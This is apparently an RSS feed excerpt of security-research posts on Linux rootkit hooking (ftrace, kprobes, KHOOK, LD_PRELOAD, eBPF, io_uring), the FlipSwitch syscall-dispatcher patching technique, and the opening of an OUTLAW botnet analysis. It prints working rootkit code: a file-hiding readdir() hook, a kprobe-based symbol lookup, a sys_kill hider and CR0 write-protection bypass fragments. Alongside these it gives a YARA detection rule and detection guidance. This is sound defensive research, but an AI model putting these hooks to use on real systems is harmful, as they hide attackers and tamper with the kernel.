<p>The main advantage of ftrace hooking is that it leaves no obvious footprints in global tables or patched code. The hooking is done via legitimate kernel interfaces. To an untrained eye, everything looks normal; <code>sys_call_table</code> is intact, function prologues are not manually overwritten by the rootkit (they are overwritten by the ftrace mechanism, but that is a common and allowed occurrence in a kernel with tracing enabled). Also, ftrace hooks can often be enabled/disabled on the fly and are inherently less intrusive than manual patching.</p>
<p>While ftrace hooking is powerful, it’s constrained by environment and privilege boundaries (if used from outside the kernel). It requires access to the tracing interface (debugfs) and <code>CAP_SYS_ADMIN</code> privileges, which may be unavailable on hardened or containerized systems where even UID 0 is restricted by namespaces, LSMs, or Secure Boot lockdown policies. Debugfs may also be unmounted or read-only in production for security reasons. Thus, while a fully privileged root user can typically use ftrace, modern defenses often disable or limit these capabilities, reducing the practicality of ftrace-based hooks in highly hardened environments.</p>
<h4>Kprobes Hooking</h4>
<p>Kprobes is another kernel feature intended for debugging and instrumentation, which attackers have repurposed for rootkit hooking. Kprobes allow one to dynamically break into almost any kernel routine at runtime by registering a probe handler. When the specified instruction is about to execute, the kprobe infrastructure saves state and transfers control to the custom handler. After the handler runs (you can even alter registers or the instruction pointer), the kernel resumes normal execution of the original code. In simpler terms, kprobes let you attach a custom callback to an arbitrary point in kernel code (function entry, specific instruction, etc.), somewhat like a breakpoint with a handler.<br />
Using kprobes for malicious hooking usually involves intercepting a function to either prevent it from doing something or to grab some info. A common use in modern rootkits: since many important symbols (like <code>sys_call_table</code> or <code>kallsyms_lookup_name</code>) are no longer exported, a rootkit can deploy a kprobe on a function that does have access to that symbol and steal it. A kprobe structure and registration are shown below.</p>
<pre><code class="language-c">// Declare a kprobe targeting the symbol &quot;kallsyms_lookup_name&quot;
static struct kprobe kp = {
    .symbol_name = &quot;kallsyms_lookup_name&quot;
};

// Function pointer type matching kallsyms_lookup_name
typedef unsigned long
    (*kallsyms_lookup_name_t)(const char *name);

// Global pointer to the resolved kallsyms_lookup_name
kallsyms_lookup_name_t kallsyms_lookup_name;

// Register the kprobe; kernel resolves kp.addr
// to the address of the symbol
register_kprobe(&amp;kp);

// Assign resolved address to our function pointer
kallsyms_lookup_name =
    (kallsyms_lookup_name_t) kp.addr;

// Unregister the kprobe (only needed it once)
unregister_kprobe(&amp;kp);

</code></pre>
&lt;center&gt;*Kprobes hooking code example*&lt;/center&gt;
<p>This probe is used to retrieve the symbol name for <code>kallsyms_lookup_name</code>, typically a precursor to syscall table hooking. Although not present in the initial commits, a recent update to Diamorphine used this technique. It places a kprobe to grab the pointer of <code>kallsyms_lookup_name</code> itself (or uses a kprobe on a known function to indirectly get what it needs). Similarly, other rootkits use a temporary kprobe to locate symbols, then unregister it once done, moving on to perform hooks via other means. Kprobes can also be used to directly hook behavior (not just find addresses). Or a jprobe (a specialized kprobe) can redirect a function entirely. However, using kprobes to fully replace functionality is tricky and not commonly done, because it’s simpler to either patch or use ftrace if you want to consistently hijack a function. Kprobes are often used for intermittent or auxiliary hooking.</p>
<p>Kprobes are useful but limited: they add runtime overhead and can destabilize systems if placed on very hot or restricted low-level functions (recursive probes are suppressed), so attackers must pick probe points carefully; they’re also auditable and can trigger kernel warnings or be logged by system auditing, and active probes are viewable under <code>/sys/kernel/debug/kprobes/list</code> (so unexpected entries are suspicious); some kernels may be built without kprobe/debug support.</p>
<h4>Kernel Hook Framework</h4>
<p>As mentioned earlier, with the Reptile rootkit, attackers sometimes create higher-level frameworks to manage their hooks. Kernel Hook (KHOOK) is one such framework (developed by the author of Reptile) that abstracts away the dirty work of inline patching and provides a cleaner interface for rootkit developers. Essentially, KHOOK is a library that allows you to specify a function to hook and your replacement, and it handles modifying the kernel code while providing a trampoline to call the original function safely. To illustrate, here’s an example of how one might use a KHOOK-like macro (based on Reptile’s usage) to hook the kill syscall:</p>
<pre><code class="language-c">// Creates a replacement for sys_kill:
// long sys_kill(long pid, long sig)
KHOOK_EXT(long, sys_kill, long, long);

static long khook_sys_kill(long pid, long sig) {
    // Signal 0 is used to check if a process
    // exists (without sending a signal)
    if (sig == 0) {
        // If the target is invisible (hidden by
        // a rootkit), pretend it doesn't exist
        if (is_proc_invisible(pid)) {
            return -ESRCH; // No such process
        }
    }

    // Otherwise, forward the call to the original sys_kill syscall
    return KHOOK_ORIGIN(sys_kill, pid, sig);
}
</code></pre>
&lt;center&gt;*KHOOK code example*&lt;/center&gt;
<p>KHOOK operates via inline function patching, overwriting function prologues with a jump to attacker-controlled handlers. The example above illustrates how <code>sys_kill()</code> is redirected to a malicious handler if the kill signal is 0.</p>
<p>Although KHOOK simplifies inline patching, it still inherits all its drawbacks: it modifies kernel text to insert jump stubs, so protections like kernel lockdown, Secure Boot, or <code>W^X</code> can block it. They are also architecture- and version-dependent (commonly limited to x86 and fails on kernel 5.x+), making them fragile across builds.</p>
<h3>Hooking Techniques in Userspace</h3>
<p>Userspace hooking is a technique that targets the libc layer, or other shared libraries accessed via the dynamic linker, to intercept common API calls used by user tools. Examples of these calls include <code>readdir</code>, <code>getdents</code>, <code>open</code>, <code>fopen</code>, <code>fgets</code>, and <code>connect</code>. By interposing replacement functions, an attacker can manipulate ordinary userland tools like <code>ps</code>, <code>ls</code>, <code>lsof</code>, and <code>netstat</code> to return altered or &quot;sanitized&quot; views. This is used to conceal processes, files, sockets, or hide evidence of malicious code.</p>
<p>The common methods for implementing this mirror how the dynamic linker resolves symbols or involve modifying process memory. These methods include using the <code>LD_PRELOAD</code> environment variable or <code>LD_AUDIT</code> to force an early load of a malicious shared object (.so) file, modifying ELF DT_* entries or library search paths to prioritize a hostile library, or performing runtime GOT/PLT overwrites within a process. Overwriting the GOT/PLT typically involves changing memory protection settings (<code>mprotect</code>), writing the new code (<code>write</code>), and then restoring the original settings (<code>restore</code>) after injection.</p>
<p>A hooked function usually calls the real libc symbol using <code>dlsym(RTLD_NEXT, ...)</code> for its normal operation. It then filters or alters the results only for targets it intends to hide. A basic example of a <code>LD_PRELOAD</code> filter for the <code>readdir()</code> function is shown below.</p>
<pre><code class="language-c">#define _GNU_SOURCE       // GNU extensions (RTLD_NEXT)
#include &lt;dlfcn.h&gt;        // dlsym(), RTLD_NEXT
#include &lt;dirent.h&gt;       // DIR, struct dirent, readdir()
#include &lt;string.h&gt;       // strstr()

// Pointer to the original readdir()
static struct dirent *(*real_readdir)(DIR *d);

struct dirent *readdir(DIR *d) {
    if (!real_readdir) // resolve original once
        real_readdir =
            dlsym(RTLD_NEXT, &quot;readdir&quot;);
    struct dirent *ent;
    // Fetch next dir entry from real readdir
    while ((ent = real_readdir(d)) != NULL) {
        // If name contains the secret marker,
        // skip this entry (hide it)
        if (strstr(ent-&gt;d_name, &quot;.secret&quot;))
            continue;
        return ent; // return visible entry
    }
    return NULL; // no more entries
}

</code></pre>
<p>This example replaces <code>readdir()</code> in-process by providing a library resolved before the real <code>libc</code>, effectively hiding filenames that match a filter. Historic user-mode hiding tools and lightweight “rootkits” have used <code>LD_PRELOAD</code> or GOT/PLT patching to hide processes, files, and sockets. Attackers also inject shared objects into specific services to achieve targeted stealth without needing kernel modules.</p>
<p>Userspace interposition affects only processes that load the malicious library (or are injected into). It’s fragile for system-wide persistence (service/unit files, sanitized environments, setuid/static binaries complicate it). Detection is straightforward relative to kernel hooks: check for suspicious <code>LD_PRELOAD</code>/<code>LD_AUDIT</code> entries, unexpected mapped shared objects in <code>/proc/&lt;pid&gt;/maps</code>, mismatches between on-disk libraries and in-memory imports, or altered GOT entries. Integrity tools, service supervisors (systemd), and simple process memory inspection will usually expose this technique.</p>
<h3>Hooking Techniques Using eBPF</h3>
<p>A more recent rootkit implementation model involves the abuse of eBPF (extended Berkeley Packet Filter). eBPF is a subsystem in Linux that allows privileged users to load bytecode programs into the kernel. While often described as a &quot;sandboxed VM,&quot; its security actually relies on a static verifier that ensures the bytecode is safe (no infinite loops, no illegal memory access) before it is JIT-compiled into native machine code for near-zero-latency execution.</p>
<p>Instead of inserting an LKM to modify kernel behavior, an attacker can load one or more eBPF programs that attach to sensitive kernel events. For instance, one can write an eBPF program that attaches to the system call entry for <code>execve</code> (via a kprobe or tracepoint), allowing it to monitor or manipulate process execution. Similarly, eBPF can hook at the LSM layer (like program execution notifications) to prevent certain actions or hide them. An example is displayed below.</p>
<pre><code class="language-c">// Attach this eBPF program to the tracepoint for sys_enter_execve
SEC(&quot;tp/syscalls/sys_enter_execve&quot;)
int tp_sys_enter_execve(struct sys_execve_enter_ctx *ctx) {
    // Get the current process's PID and TID as a 64-bit value
    // Upper 32 bits = PID, Lower 32 bits = TID
    __u64 pid_tgid = bpf_get_current_pid_tgid();

    // Delegate handling logic to a helper function
    return handle_tp_sys_enter_execve(ctx, pid_tgid);
}

</code></pre>
&lt;center&gt;*eBPF hooking code example*&lt;/center&gt;
<p>Two prominent public examples are TripleCross and Boopkit. TripleCross demonstrated a rootkit that used eBPF to hook syscalls like execve for persistence and hiding. Boopkit used eBPF as a covert communication channel and backdoor, by attaching eBPF programs that could manipulate socket buffers (allowing a remote party to communicate with the rootkit through crafted packets). These are proof-of-concept projects, but they proved the viability of eBPF in rootkit development.</p>
<p>Main advantages are that eBPF hooking does not require an LKM to be loaded and is compatible with modern kernel protections. For eBPF-supported kernels, this is a strong technique. But although they are powerful, they are also constrained. They need elevated privileges to load, are limited by the verifier’s safety checks, are ephemeral across reboots (requiring separate persistence), and are increasingly discoverable by auditing/forensic tools. The usage of eBPF will especially be visible on systems that typically do not use eBPF tooling.</p>
<h2>Evasion Techniques Using io_uring</h2>
<p>While <code>io_uring</code> is not used for hooking, it deserves a honarable mention as a recent addition to the EDR evasion techniques used by rootkits. <code>io_uring</code> is an asynchronous, ring-buffer-based I/O API that lets processes submit batches of I/O requests (SQEs) and reap completions (CQEs) with minimal syscall overhead. It is not a hooking framework, but its design changes the syscall/visibility surface and exposes powerful kernel-facing primitives (registered buffers, fixed files, mapped rings) that attackers can abuse for stealthy I/O, syscall-evading workflows, or, when combined with a vulnerability, as an exploit primitive that leads to installing hooks at a lower layer.</p>
<p>Attack patterns fall into two classes: (1) <em>evasion/performance abuse</em>: a malicious process uses <code>io_uring</code> to perform lots of reads/writes/metadata ops in large batches so traditional per-syscall detectors see fewer events or atypical patterns; and (2) <em>exploit enabling</em>: bugs in <code>io_uring</code> surfaces (ring mappings, registered resources) have historically been the vector for privilege escalation, after which an attacker can install kernel hooks by more traditional means. <code>io_uring</code> also bypasses some libc wrappers if code submits operations directly, so userland hooking that intercepts libc calls may be circumvented. A simple submit/reap flow is illustrated below:</p>
<pre><code class="language-c">// Minimal io_uring usage (error handling omitted)

// io_uring context (SQ/CQ rings shared with kernel)
struct io_uring ring;

// Initialize ring with space for 16 SQEs
io_uring_queue_init(16, &amp;ring, 0);

// Grab a free submission entry (or NULL if full)
struct io_uring_sqe *sqe =
    io_uring_get_sqe(&amp;ring);

// Prepare SQE as a read(fd, buf, len, offset=0)
io_uring_prep_read(sqe, fd, buf, len, 0);

// Submit pending SQEs to the kernel (non-blocking)
io_uring_submit(&amp;ring);

struct io_uring_cqe *cqe;
// Block until a completion is available
io_uring_wait_cqe(&amp;ring, &amp;cqe);
// Mark the completion as handled (free slot)
io_uring_cqe_seen(&amp;ring, cqe);

</code></pre>
<p>The example above shows a submission queue feeding many file ops into the kernel with a single or a few <code>io_uring_enter</code> syscalls, reducing per-operation syscall telemetry.</p>
<p>Adversaries interested in stealthy data collection or high-throughput exfiltration may switch to <code>io_uring</code> to reduce syscall noise. <code>io_uring</code> does not inherently install global hooks or change other processes’ behavior; it is process-local unless combined with privilege escalation. Detection is possible by instrumenting the <code>io_uring</code> syscalls (<code>io_uring_enter</code>, <code>io_uring_register</code>) and watching for anomalous patterns: unusually large batches, many registered files/buffers, or processes that perform heavy batched metadata operations. Kernel version differences also matter: <code>io_uring</code> features evolve quickly, so attacker techniques may be version-dependent. Finally, because <code>io_uring</code> requires a running malicious process, defenders can often interrupt it and inspect its rings, registered files, and memory mappings to uncover misuse.</p>
<h2>Conclusion</h2>
<p>Hooking techniques in Linux have come a long way from simply overwriting a pointer in a table. We now see attackers exploiting legitimate kernel instrumentation frameworks (ftrace, kprobes, eBPF) to implant hooks that are harder to detect. Each method, from IDT and syscall table patches to inline hooks and dynamic probes, has its own trade-offs in stealth and stability. Defenders need to be aware of all these possible vectors. In practice, modern rootkits often combine multiple hooking techniques to achieve their goals. For example, PUMAKIT uses a direct syscall table hook and ftrace hooks, and Diamorphine uses syscall hooks plus a kprobe to get around symbol hiding. This layered approach means detection tools must check many facets of the system: IDT entries, syscall tables, model-specific registers (for sysenter hooks), integrity of function prologues, contents of critical function pointers in structures (VFS, etc.), active ftrace ops, registered kprobes, and loaded eBPF programs.</p>
<p>In part two of this series, we move from theory to practice. Armed with the understanding of rootkit taxonomy and hooking techniques covered here, we will focus on detection engineering, building and applying practical detection strategies to identify these threats in real-world Linux environments.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/de/security-labs/assets/images/linux-rootkits-1-hooked-on-linux/linux-part-1-header.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[FlipSwitch: a Novel Syscall Hooking Technique]]></title>
            <link>https://www.elastic.co/de/security-labs/flipswitch-linux-rootkit</link>
            <guid>flipswitch-linux-rootkit</guid>
            <pubDate>Tue, 30 Sep 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[FlipSwitch offers a fresh look at bypassing Linux kernel defenses, revealing a new technique in the ongoing battle between cyber attackers and defenders.]]></description>
            <content:encoded><![CDATA[<h2>FlipSwitch: a Novel Syscall Hooking Technique</h2>
<p>Syscall hooking, particularly by overwriting pointers to syscall handlers, has been a cornerstone of Linux rootkits like Diamorphine and PUMAKIT, enabling them to hide their presence and control the flow of information. While other hooking mechanisms exist, such as ftrace and eBPF, each has its own pros and cons, and most have some form of limitation. Function pointer overwrites remain the most effective and simple way of hooking syscalls in the kernel.</p>
<p>However, the Linux kernel is a moving target. With each new release, the community introduces changes that can render entire classes of malware obsolete overnight. This is precisely what happened with the release of <a href="https://github.com/torvalds/linux/blob/v6.9/arch/x86/entry/syscall_64.c"><strong>Linux kernel 6.9</strong></a>, which introduced a fundamental change to the syscall dispatch mechanism for x86-64 architecture, effectively neutralizing traditional syscall hooking methods.</p>
<h3>The Walls Are Closing In: The Death of a Classic Hooking Technique</h3>
<p>To appreciate the significance of the changes in kernel 6.9, let's first revisit the classic method of syscall hooking. For years, the kernel used a simple array of function pointers called the <code>sys_call_table</code> to dispatch syscalls. The logic was beautifully simple, as seen in the kernel source:</p>
<pre><code class="language-c">// Pre-6.9: Direct array lookup
sys_call_table[__NR_kill](regs);
</code></pre>
<p>A rootkit could locate this table in memory, disable write protection, and overwrite the address of a syscall like <code>kill</code> or <code>getdents64</code> with a pointer to its own adversary-controlled function. This empowers a rootkit to filter the output of the <code>ls</code> command to hide malicious files or prevent a specific process from being terminated, for example. But the directness of this mechanism was also its weakness. With Linux kernel 6.9, the game changed completely when the direct array lookup was replaced with a more efficient and secure switch statement-based dispatch mechanism:</p>
<pre><code class="language-c">// Kernel 6.9+: Switch-statement dispatch
long x64_sys_call(const struct pt_regs *regs, unsigned int nr)
{
    switch (nr) {
    #include &lt;asm/syscalls_64.h&gt; // Expands to case statements
    default: return __x64_sys_ni_syscall(regs);
    }
}
</code></pre>
<p>This change, while seemingly subtle, was a death blow to traditional syscall hooking. The <code>sys_call_table</code> still exists for compatibility with tracing tools, but it is no longer used for the actual dispatch of syscalls. Any modifications to it are simply ignored.</p>
<h3>Finding a New Way In: The FlipSwitch Technique</h3>
<p>We knew that the kernel still had to call the original syscall functions <em>somehow</em>. The logic was still there, just hidden behind a new layer of indirection. This led to the development of <a href="https://github.com/1337-42/FlipSwitch-dev/">FlipSwitch</a>, a technique that bypasses the new switch statement implementation by directly patching the compiled machine code of the kernel's syscall dispatcher.</p>
<p>Here's a breakdown of how it works:</p>
<p>The first step is to find the address of the original syscall function we want to hook. Ironically, the now-defunct <code>sys_call_table</code> is the perfect tool for this. We can still look up the address of <code>sys_kill</code> in this table to get a reliable pointer to the original function.</p>
<p>A common method to locate kernel symbols is the <code>kallsyms_lookup_name</code> function. This function provides a programmatic way to find the address of any exported kernel symbol by its name. For instance, we can use <code>kallsyms_lookup_name(&quot;sys_kill&quot;)</code> to obtain the address of the <code>sys_kill</code> function, providing a flexible and reliable way to obtain function pointers even when the <code>sys_call_table</code> is not directly usable for dispatch.</p>
<p>It's important to note that <code>kallsyms_lookup_name</code> is generally not exported by default, meaning it's not directly accessible to loadable kernel modules. This restriction enhances kernel security. However, a common technique to indirectly access <code>kallsyms_lookup_name</code> is by using a <code>kprobe</code>. By placing a <code>kprobe</code> on a known kernel function, a module can then use the kprobe's internal structure to derive the address of the original, probed function. From this, a function pointer to <code>kallsyms_lookup_name</code> can often be obtained through careful analysis of the kernel's memory layout, such as by examining nearby memory regions relative to the probed function's address.</p>
<pre><code class="language-c">/**
 * Find the address of kallsyms_lookup_name using kprobes
 * @return Pointer to kallsyms_lookup_name function or NULL on failure
 */
void *find_kallsyms_lookup_name(void)
{
    struct kprobe *kp;
    void *addr;

    kp = kzalloc(sizeof(*kp), GFP_KERNEL);
    if (!kp)
        return NULL;

    kp-&gt;symbol_name = O_STRING(&quot;kallsyms_lookup_name&quot;);
    if (register_kprobe(kp) != 0) {
        kfree(kp);
        return NULL;
    }

    addr = kp-&gt;addr;
    unregister_kprobe(kp);
    kfree(kp);

    return addr;
}
</code></pre>
<p>After finding the address of <code>kallsyms_lookup_name</code>, we can use it to find pointers to the symbols that we need to continue the process of placing a hook.</p>
<p>With the target address in hand, we then turn our attention to the <code>x64_sys_call</code> function, the new home of the syscall dispatch logic. We begin to scan its raw machine code, byte by byte, looking for a call instruction. On x86-64, the call instruction has a specific one-byte opcode: <code>0xe8</code>. This byte is followed by a 4-byte relative offset that tells the CPU where to jump to.</p>
<p>This is where the magic happens. We're not just looking for <em>any</em> call instruction. We're looking for a call instruction that, when combined with its 4-byte offset, points directly to the address of the original <code>sys_kill</code> function we found previously. This combination of the <code>0xe8</code> opcode and the specific offset is a unique signature within the <code>x64_sys_call</code> function. There is only one instruction that matches this pattern.</p>
<pre><code class="language-c">/* Search for call instruction to sys_kill in x64_sys_call */
    for (size_t i = 0; i &lt; DUMP_SIZE - 4; ++i) {
        if (func_ptr[i] == 0xe8) { /* Found a call instruction */
            int32_t rel = *(int32_t *)(func_ptr + i + 1);
            void *call_addr = (void *)((uintptr_t)x64_sys_call + i + 5 + rel);
            
            if (call_addr == (void *)sys_call_table[__NR_kill]) {
                debug_printk(&quot;Found call to sys_kill at offset %zu\n&quot;, i);
</code></pre>
<p>Once we've located this unique instruction, we've found our insertion point. But before we can modify the kernel's code, we must bypass its memory protections. Since we are already executing within the kernel (ring 0), we can use a classic, powerful technique: disabling write protection by flipping a bit in the <code>CR0</code> register. The <code>CR0</code> register controls basic processor functions, and its 16th bit (Write Protect) prevents the CPU from writing to read-only pages. By temporarily clearing this bit, we permit ourselves to modify any part of the kernel's memory.</p>
<pre><code class="language-c">/**
 * Force write to CR0 register bypassing compiler optimizations
 * @param val Value to write to CR0
 */
static inline void write_cr0_forced(unsigned long val)
{
    unsigned long order;

    asm volatile(&quot;mov %0, %%cr0&quot; 
        : &quot;+r&quot;(val), &quot;+m&quot;(order));
}

/**
 * Enable write protection (set WP bit in CR0)
 */
static inline void enable_write_protection(void)
{
    unsigned long cr0 = read_cr0();
    set_bit(16, &amp;cr0);
    write_cr0_forced(cr0);
}

/**
 * Disable write protection (clear WP bit in CR0)
 */
static inline void disable_write_protection(void)
{
    unsigned long cr0 = read_cr0();
    clear_bit(16, &amp;cr0);
    write_cr0_forced(cr0);
}

</code></pre>
<p>With write protection disabled, we overwrite the 4-byte offset of the call instruction with a new offset that points to our own <code>fake_kill</code> function. We have, in effect, &quot;flipped the switch&quot; inside the kernel's own dispatcher, redirecting a single syscall to our malicious code while leaving the rest of the system untouched.</p>
<p>This technique is both precise and reliable. And, significantly, all changes are fully reverted when the kernel module is unloaded, leaving no trace of its presence.</p>
<p>The development of FlipSwitch is a testament to the ongoing cat-and-mouse game between attackers and defenders. As kernel developers continue to harden the Linux kernel, attackers will continue to find new and creative ways to bypass these defenses. We hope that by sharing this research, we can help the security community stay one step ahead.</p>
<h2>Detecting malware</h2>
<p>Detecting rootkits once they have been loaded into the kernel is exceptionally difficult, as they are designed to operate stealthily and evade detection by security tools. However, we have developed a YARA signature to identify the proof-of-concept for FlipSwitch. This signature can be used to detect the presence of the FlipSwitch rootkit in memory or on disk.</p>
<h3>YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the Flipswitch proof of concept.</p>
<pre><code>rule Linux_Rootkit_Flipswitch_821f3c9e
{
	meta:
		author = &quot;Elastic Security&quot;
		description = &quot;Yara rule to detect the FlipSwitch rootkit PoC&quot;
		os = &quot;Linux&quot;
		arch = &quot;x86&quot;
		category_type = &quot;Rootkit&quot;
		family = &quot;Flipswitch&quot;
		threat_name = &quot;Linux.Rootkit.Flipswitch&quot;
		
	strings:
		$all_a = { FF FF 48 89 45 E8 F0 80 ?? ?? ?? 31 C0 48 89 45 F0 48 8B 45 E8 0F 22 C0 }
		$obf_b = { BA AA 00 00 00 BE 0D 00 00 00 48 C7 ?? ?? ?? ?? ?? 49 89 C4 E8 }
		$obf_c = { BA AA 00 00 00 BE 15 00 00 00 48 89 C3 E8 ?? ?? ?? ?? 48 89 DF 48 89 43 30 E8 ?? ?? ?? ?? 85 C0 74 0D 48 89 DF E8 }
		$main_b = { 41 54 53 E8 ?? ?? ?? ?? 48 C7 C7 ?? ?? ?? ?? 49 89 C4 E8 ?? ?? ?? ?? 4D 85 E4 74 2D 48 89 C3 48 85 }
		$main_c = { 48 85 C0 74 1F 48 C7 ?? ?? ?? ?? ?? ?? 48 89 C7 48 89 C3 E8 ?? ?? ?? ?? 85 C0 74 0D 48 89 DF E8 ?? ?? ?? ?? 45 31 E4 EB 14 }
		$debug_b = { 48 89 E5 41 54 53 48 85 C0 0F 84 ?? ?? 00 00 48 C7 }
		$debug_c = { 48 85 C0 74 45 48 C7 ?? ?? ?? ?? ?? ?? 48 89 C7 48 89 C3 E8 ?? ?? ?? ?? 85 C0 75 26 48 89 DF 4C 8B 63 28 E8 ?? ?? ?? ?? 48 89 DF E8 }

	condition:
		#all_a&gt;=2 and (1 of ($obf_*) or 1 of ($main_*) or 1 of ($debug_*))
}

</code></pre>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://github.com/1337-42/FlipSwitch-dev/">https://github.com/1337-42/FlipSwitch-dev/</a></li>
<li><a href="https://www.virusbulletin.com/conference/vb2025/abstracts/unmasking-unseen-deep-dive-modern-linux-rootkits-and-their-detection/">https://www.virusbulletin.com/conference/vb2025/abstracts/unmasking-unseen-deep-dive-modern-linux-rootkits-and-their-detection/</a></li>
</ul>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/de/security-labs/assets/images/flipswitch-linux-rootkit/Security Labs Images 5.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Outlaw Linux Malware: Persistent, Unsophisticated, and Surprisingly Effective]]></title>
            <link>https://www.elastic.co/de/security-labs/outlaw-linux-malware</link>
            <guid>outlaw-linux-malware</guid>
            <pubDate>Tue, 01 Apr 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Outlaw is a persistent Linux malware leveraging simple brute-force and mining tactics to maintain a long-lasting botnet.]]></description>
            <content:encoded><![CDATA[<h2>Preface</h2>
<p>OUTLAW is a persistent yet unsophisticated auto-propagating coinminer package observed across multiple versions over the past few years [<a href="https://www.countercraftsec.com/blog/dota3-malware-again-and-again/">1</a>], [<a href="https://blogs.juniper.net/en-us/threat-research/dota3-is-your-internet-of-things-device-moonlighting">2</a>], [<a href="https://isc.sans.edu/diary/Hygiene+Hygiene+Hygiene+Guest+Diary/31260">3</a>], [<a href="https://darktrace.com/blog/outlaw-returns-uncovering-returning-features-and-new-tactics">4</a>]. Despite lacking stealth and advanced evasion techniques, it remains active and effective by leveraging simple but impactful tactics such as SSH brute-forcing, SSH key and cron-based persistence, and manually modified commodity miners and IRC channels. This persistence highlights how botnet operators can achieve widespread impact without relying on sophisticated techniques.</p>
<p>To gain deeper insights into OUTLAW’s behavior and operational patterns, we deployed a honeypot designed to attract and observe the attackers in action. By carefully crafting an environment that mimicked a vulnerable system, we were able to bait the adversaries into interacting with our server. This interaction revealed automated and manual actions, with operators entering commands directly, making modifications on the fly, and even mistyping commands—clear indicators of human involvement. A captured GIF showcases these moments, providing a rare glimpse into their real-time decision-making process.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/outlaw-linux-malware/01-honeypot.gif" alt="Threat actors actions in a honeypot" title="Threat actors actions in a honeypot" /></p>
<p>By analyzing OUTLAW, we gain new insights into the tooling used by its operators and their evolving strategies over time. This malware presents a valuable opportunity to apply detection engineering principles, as its attack chain spans nearly the entire MITRE ATT&amp;CK framework. Examining its infection process allows us to develop effective detection strategies that capitalize on its predictable and repetitive behaviors.</p>
<p>This report provides a full attack chain analysis, including detailed detection rules and hunting queries. By breaking down OUTLAW’s components, we demonstrate how even rudimentary malware can maintain longevity in modern environments and how defenders can leverage its simplicity to enhance detection and response.</p>
<h2>Key Takeaways</h2>
<ul>
<li><strong>Persistent but unsophisticated</strong>: OUTLAW remains active despite using basic techniques like SSH brute-forcing, SSH key manipulation, and cron-based persistence.</li>
<li><strong>Commodity tooling</strong>: The malware deploys modified <code>XMRig</code> miners, leverages IRC for C2, and includes publicly available scripts for persistence and defense evasion.</li>
<li><strong>Extensive attack surface</strong>: OUTLAW’s infection chain spans nearly the entire MITRE ATT&amp;CK framework, offering many detection and hunting opportunities.</li>
<li><strong>Worm-like propagation</strong>: OUTLAW uses its compromised hosts to launch further SSH brute-force attacks on their local subnets, rapidly expanding the botnet.</li>
</ul>
<h2>OUTLAW Overview</h2>
<p>OUTLAW follows a multi-stage infection process that begins with downloading and executing its payload, establishing persistence, and expanding its botnet through SSH brute-force attacks. The execution chain is displayed below:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/outlaw-linux-malware/02-flow.png" alt="OUTLAW infection chain overview" title="OUTLAW infection chain overview" /></p>
<p><strong>1. Initial Infection &amp; Deployment</strong></p>
<ul>
<li>The attack starts when <code>tddwrt7s.sh</code> downloads the <code>dota3.tar.gz</code> package from a C2 server.</li>
<li>The extracted <code>initall.sh</code> script executes, kicking off the infection chain.</li>
</ul>
<p><strong>2. Gaining Control &amp; Persistence</strong></p>
<ul>
<li>The malware ensures dominance by killing competing brute-forcers and miners.</li>
<li>It then deploys:
<ul>
<li>Modified XMRIG for crypto mining (connecting to a mining pool).</li>
<li>STEALTH SHELLBOT for remote control via IRC C2.</li>
<li>BLITZ to perform SSH brute force attacks.</li>
</ul>
</li>
</ul>
<p><strong>3. Propagation &amp; Expansion</strong></p>
<ul>
<li>The brute-force module retrieves target lists from an SSH C2 server and attempts SSH brute-force attacks on new machines.</li>
<li>Successfully compromised systems are infected, repeating the cycle.</li>
</ul>
<p>This automated infection loop allows OUTLAW to remain active and profitable with minimal effort from attackers. Let’s take a deeper look at the entire attack chain.</p>
<h2>OUTLAW Execution Chain</h2>
<p>OUTLAW effectively covers a wide range of tactics and techniques in the MITRE ATT&amp;CK framework. This section maps its behavior to provide an overview of its infection chain and methods.</p>
<h3>Initial Access: blitz</h3>
<p>OUTLAW gains initial access through opportunistic SSH brute-forcing, targeting systems with weak or default credentials. The malware employs its <code>blitz</code> component, also known under other names such as <code>kthreadadd</code>, to perform high-volume scanning and password-guessing attempts. It leverages lists of target IPs and credentials retrieved from its C2 servers.</p>
<p>OUTLAW also acts like a worm, automatically installing itself on every system that it successfully compromises. This self-propagation mechanism allows it to spread rapidly across networks, turning each newly infected device into another node for further brute-forcing and infection attempts.</p>
<p>We will take a deeper look into how OUTLAW performs these attacks and propagates itself later in the article.</p>
<h3>Execution: tddwrt7s.sh</h3>
<p>The first infections of OUTLAW seem to originate from a straightforward dropper script: <code>tddwrt7s.sh</code>. This shell script checks for an existing installation. If the malware is already present and unpacked, it will run the initall script, kicking off the infection chain. Otherwise, it will attempt to download the package from a list of provided staging servers. For illustration purposes, a shortened snippet of the dropper is shown below:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/outlaw-linux-malware/03-dropper.png" alt="Dropper tddwrt7s.sh overview" title="Dropper `tddwrt7s.sh` overview" /></p>
<p>The extracted <code>dota3.tar.gz</code> package extracts its contents into a hidden folder called <code>.rsync</code>, and contains the following entries:</p>
<pre><code class="language-text"> ├── a
 │   ├── a
 │   ├── init0
 │   ├── kswapd0
 │   ├── kswapd01
 │   ├── run
 │   ├── socat
 │   └── stop
 ├── b
 │   ├── a
 │   ├── run
 │   └── stop
 ├── c
 │   ├── blitz
 │   ├── blitz32
 │   ├── blitz64
 │   ├── go
 │   ├── run
 │   ├── start
 │   ├── stop
 │   └── v
 ├── init
 ├── init2
 └── initall
</code></pre>
<p>Let’s deconstruct the execution chains one by one.</p>
<h3>Main Initialization script: initall</h3>
<p>The three <code>init</code> scripts control the overall execution flow and deployment of the malware. Starting with the <code>initall</code> script, the main initializer determines which execution path to take. It checks the system environment and decides whether to use <code>init</code> or <code>init2</code> based on file permissions and available directories.</p>
<p>These <code>init</code> scripts all use variable-based string concatenation obfuscation, where commands are split into small variable fragments that are dynamically concatenated and executed, making static analysis more difficult. For example, the <code>initall</code> script looks like this:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/outlaw-linux-malware/04-obfuscation.png" alt="Obfuscated initall script" title="Obfuscated `initall` script" /></p>
